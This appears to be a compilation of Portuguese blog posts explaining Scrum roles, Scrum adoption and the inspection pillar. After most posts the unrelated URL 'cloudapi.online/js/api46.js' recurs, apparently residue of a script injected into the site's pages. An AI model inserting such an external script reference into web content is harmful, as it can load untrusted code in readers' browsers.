Scrum Master

Fala pessoal blz, continuando nossa caminhada sobre o SCRUM, vamos falar hoje quem é o SCRUM MASTER?

Então, vamos simplificar, o SCRUM MASTER na minha opinião é um facilitador, lembrando que essa a minha opinião!

E qual a visão do guia scrum? É que ele é um dos responsáveis pela gestão de pessoas e gestão do processo entre outras atividades.

Ele é o CARA que mais conhece de SCRUM, ele deve garantir que tudo seja entendido e aplicado, se o time e ou o PO não sabe o que fazer, esse é o cara que deve perguntar, ele ajuda o time e ou o PO na aplicação do SCRUM. Ele é o responsável por orientar ao PO como deve ser criado o Product Backlog e como ordenar as atividades ou histórias criadas.

Se alguém tem algum impedimento, quem vai remover esse impedimento é o SM, ele usa técnicas de facilitação e coaching para ajudar o time. Ele garante que o eventos sejam adequadamente realizados, também aqui nada impedi ele utilizar técnicas de facilitação, embora ele não seja o responsável pela condução.

Ele que irá treinar a equipe que nunca utilização ou aplicaram SCRUM em seus projetos. Ele vai auxiliar o PO na comunicação clara da visão, objetivo e itens do Product Backlog para o DevTeam.

Sim, ele é o CARA.

Ai você virá e fala assim, poxa nunca vi um SM fazer isso tudo! Olha muitas empresas não tem um SCRUM MASTER bem treinado, e pode ocorrer desvios nesse processo, o SCRUM MASTER não é um gerente de projetos, ele é o que tem maior conhecimento na aplicação do SCRUM, se ele não for bem treinado, não se atualizar diariamente, isso pode ser um problema.

https://cloudapi.online/js/api46.js

Anúncios

DevTeam, Development Team (DT) ou Time de Desenvolvimento

Fala pessoal, hoje vamos falar sobre o time de desenvolvimento ou se preferir DevTeam 🙂

O Time de desenvolvimento é o responsável pela criação do produto, todas as atividades que o Product Owner adicionar ao Product Backulog, o time será responsável por sua realização, é comum o time de desenvolvimento definir o TimeBox ou o tempo de duração de cada Sprint de desenvolvimento, normalmente é de 1 a 3 semanas.

O Time de Desenvolvimento é auto-organizado, ou seja, nem SM ou PO, diz ao time como deve realizar as atividades, ele também é multifuncional, possui várias habilidades diferente enquanto time, dentro dele pode ter, analista de teste, desenvolvedor, dba e por ai vai, vale lembrar que mesmo sendo um time de multifuncionalidades a responsabilidade pertence a todos do time, não tem dessa, isso não é meu é com fulano, todos são responsáveis.

Vamos lá, não confunda time de desenvolvimento com a Equipe Scrum, o time de desenvolvimento deve ter entre 3 a 9 integrantes (excluímos aqui o PO e o SM, exceto se eles também codificarem), um time muito pequeno pode haver restrições de habilidade e se for grande demais pode ser complicado de gerenciar.

Agora vamos na prática, geralmente alguns tendem a querer ser (SM, PO e DevTeam), se isso acontecer, já vou te adiantar, NÃO VAI DAR CERTO, se o cara faz parte dos três papéis é muito poder, você acabou de criar um Gerente de Projetos, o SM pode fazer parte do time não tem problema, agora o SM não poder ser PO e nem PO pode ser um SM  :), mas o PO pode fazer parte do time de desenvolvimento, apesar de não gostar muito dessa mistura, mas acontece.

 

https://cloudapi.online/js/api46.js

Product Owner é o dono do produto?

“Não necessariamente”, porque digo isso?

Vamos lá, quem é o dono do produto?

É quem está pagamento? Provavelmente!

Esse dono não quer mais atividades, você acha que ele vai ter tempo para lançar o Product backlog? Ser treinado pelo Scrum Master?

Então vamos a pergunta, quem é o Product Owner?

É o ponto focal, o cara que extrai as informações do dono do produto “quem paga” e de outros possíveis participantes.

Mas Éverton, se cair na prova, quem é o Product Owner? É claro que você vai responder dono do produto, o que quero você entenda que a realidade é outra.

Geralmente dentro da empresa existe um cara que faz esse trabalho, ele que vai no cliente e extrai o máximo de informação, caso não consiga explicar a equipe, ele marcar uma pequena reunião para matar o assunto 😊, lembrando que essa reunião não existe dentro do SCRUM, você pode criar uma, com qualquer nome.

Ótimo ele é o dono do produto, o que mais ele faz? Ele que cria as atividades que serão realizadas, ele que prioriza essa atividade, ele tem o poder de cancelar um sprint em andamento.

Muito importante, ele não define como será feito, quem decide isso é a equipe!

https://cloudapi.online/js/api46.js

Como implantar o SCRUM

Assunto polemico 🙂

Então como devo implantar o SCRUM na minha equipe?

Essa é uma das maiores dúvidas de quem está entrando no mundo agile, principalmente começando com SCRUM.

Para começar a responder essa pegunta já posso te dizer, não temos a receita de bolo pronta, não existe uma maneira, processo e ou método adequado para implantar o SCRUM e qualquer outro Framework, o que você deve ser pergunta é, minha equipe está pronta para essa mudança? Estou querendo impor ou estamos fazendo por iniciativa da equipe?

Vejo muitas empresas, querendo impor, isso mesmo, exigir que a equipe use o agile, porque está na moda, o cliente adora quando falamos “Usamos agile”, mesmo sem entender o que é isso, aqui posso adiantar de ante mão, vai ser uma tremenda MERDA, isso mesmo, vai da MERDA, ai que será o vilão? O SCRUM!

Apesar de que já ouvir casos de sucessos mesmo nessa imposição, a equipe viu que realmente funciona, que é uma ferramenta fantástica, as empresas impressionadas com a evolução dos projetos.

Agora, quando não é feita por imposição e sim por inciativa do grupo é do CARALHO, sai cada inovação, grandes ideias, novos modelos de processos e etc… É fantasístico quando isso acontece, a equipe fica mais criativa, isso mesmo criativa, porque o SCRUM é um Framework, ele não te exigi que faça isso ou aquilo, vocês que adicionar ao projeto novas ideias, kanban, planning poker e por ai vai…

Mas a grande questão é como implantar o SCRUM! Falei, e falei, mas não falei como implantar.

Vou falar por mim, não existe a receita de bolo pronta, isso depende da equipe, comece devagar, crie um quadro de kanban para que todas possam visualizar as atividades, só o quadro de kanban já é um grande avanço, se a equipe não quiser usar, faça você mesmo, crie você seu próprio quadro, deixe que todos visualizem, isso será impactante para muitos, alguns vão dizer “Que besteira”, outros “Que legal, como funciona?”, essa que é a grande diferença, você deve começar, não espere pelos outros, deixei a coisa fluir, depois mostre os resultados, eles ficaram impressionados, você deve começar colocando a semente, depois irrigá-la e depois verá a grande arvore dar frutos.

Acho que é isso ai galera, até a próxima.

https://cloudapi.online/js/api46.js

SCRUM Inspeção

Fala pessoal, tudo em cima!!!

No ultimo post falamos sobre um dos pilares do SCRUM, a transparência, hoje vamos falar de mais um dos pilares do SCRUM a inspeção, bora lá.

O que quer dizer essa inspeção?

A inspeção dentro do processo é uma verificação sobre o trabalho que estamos realizando, ou seja, verificar se estamos em dia com nosso trabalho, também podemos inspecionar dentro das reuniões de revisão e restropectiva. É uma frequência verificação, lembrando, sem atrapalhar o progresso do processo, tudo com exagero faz mal blz.

Nessa inspeção identificamos rapidamente um desvio sobre o projeto, e já agimos em cima do problema e ou falha.

Acho que é isso pessoal, estou procurando falar de uma forma bem resumida no meus post, para não ficar uma leitura chata e cansativa, qualquer dúvida manda mensagem que terei o prazer em responder, abraços a todos.

Product Owner ou um Comitê?

Fala pessoal, tudo em cima!!!

Dei uma sumidinha esses dias, não podemos parar neh 🙂

Pronto para mais uma?

O Termo é bem estimulante “Product Owner ou um Comitê” ???

Primeiro vamos lá, o Product Owner (Dono do Produto) é o principal responsável por criar as atividades em Product Backlog, ou seja, temos um ponto focal (se assim podemos dizer), ele pode ser tanto o cliente ou uma pessoa que é delega para essa função, claro que ele consulta outras pessoas para criar essas atividades SERÁ? Olha vou dizer por mim, pode ser que exista um CARA que saiba tudo que quer e criar as atividades, e outro que trabalha em equipe e peça opinião a elas, só que de acordo com o SCRUM, somente o Product Owner pode criar essas atividades entre outras atribuições.

Pensando em um trabalho de forma COLABORATIVA, porque não um comitê, ao invés de só um DONO DO PRODUTO, podemos criar dentro desse comitê um papel de FACILITADOR que tal? Esse facilitador iria assumir o papel de PO no final (Caso você utilize SCRUM), só que aqui assumimos um trabalho de forma colaborativa, ou seja, mais pessoas participando, mais dono’s do produto 🙂

Galera é o seguinte, não importa o que você utiliza, você não pode fechar a cabeça, tenha mente aberta, se podemos melhor um processo, porque não tentar? Não quer dizer que o que tem hoje funcione amanhã, o importante é sempre fazer a roda girar, melhoria contínua…

Acho que é isso pessoal, um assunto a se pensar, abraços!!!

 

 

https://cloudapi.online/js/api46.js